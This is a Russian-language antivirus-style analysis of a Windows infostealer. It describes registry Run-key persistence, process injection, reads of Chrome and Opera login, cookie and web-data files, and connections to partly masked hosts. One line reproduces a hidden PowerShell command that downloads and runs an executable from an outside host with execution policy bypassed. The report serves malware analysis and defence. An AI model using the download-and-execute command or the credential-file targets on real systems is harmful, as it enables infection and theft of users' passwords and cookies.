Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'StartLeafVolumes' = '"%LOCALAPPDATA%\StartLeafVolumes.exe"'
Вредоносные функции
Загружает и запускает на исполнение
- http://we###alls.com/arielphotoeditor.exe как %appdata%\arielphotoeditor.exe
Внедряет код в
следующие пользовательские процессы:
- arielphotoeditor.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\abdtfhgxgeghdp‹.sct
- %TEMP%\tmp6e37.tmp.tmpdb
- C:\users\public\gn7ryp3k.default\key3.db
- %TEMP%\tmp6d4c.tmp.tmpdb
- %TEMP%\tmp6cde.tmp.tmpdb
- %TEMP%\tmp6cbd.tmp.dat
- %TEMP%\tmp6c5f.tmp.dat
- %TEMP%\tmp6e47.tmp.tmpdb
- %TEMP%\tmp6c5e.tmp.dat
- %TEMP%\tmp6c3d.tmp.dat
- %TEMP%\tmp6c1c.tmp.dat
- %TEMP%\tmp6c1b.tmp.dat
- %TEMP%\tmp6c0b.tmp.dat
- %LOCALAPPDATA%\startleafvolumes.exe
- %APPDATA%\arielphotoeditor.exe
- %TEMP%\tmp6c4d.tmp.dat
- C:\users\public\wjj9aet2.default\key3.db
Удаляет следующие файлы
- %TEMP%\abdtfhgxgeghdp‹.sct
- %TEMP%\tmp6c0b.tmp.dat
- %TEMP%\tmp6c1b.tmp.dat
- %TEMP%\tmp6c1c.tmp.dat
- %TEMP%\tmp6c3d.tmp.dat
- %TEMP%\tmp6c4d.tmp.dat
- %TEMP%\tmp6c5e.tmp.dat
- %TEMP%\tmp6c5f.tmp.dat
- %TEMP%\tmp6cbd.tmp.dat
- %TEMP%\tmp6cde.tmp.tmpdb
- %TEMP%\tmp6d4c.tmp.tmpdb
- %TEMP%\tmp6e37.tmp.tmpdb
- %TEMP%\tmp6e47.tmp.tmpdb
Сетевая активность
Подключается к
- 'we###alls.com':80
- 'su#.##abuse2.xyz':4753
TCP
Запросы HTTP GET
- http://we###alls.com/ArielPhotoEditor.exe
Другие
- 'su#.##abuse2.xyz':4753
UDP
- DNS ASK we###alls.com
- DNS ASK su#.##abuse2.xyz
Другое
Создает и запускает на исполнение
- '%APPDATA%\arielphotoeditor.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://we###alls.com/ArielPhotoEditor.exe','%APPDATA%\ArielPhotoEditor.exe');...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c timeout 48' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c timeout 48
- '<SYSTEM32>\timeout.exe' 48
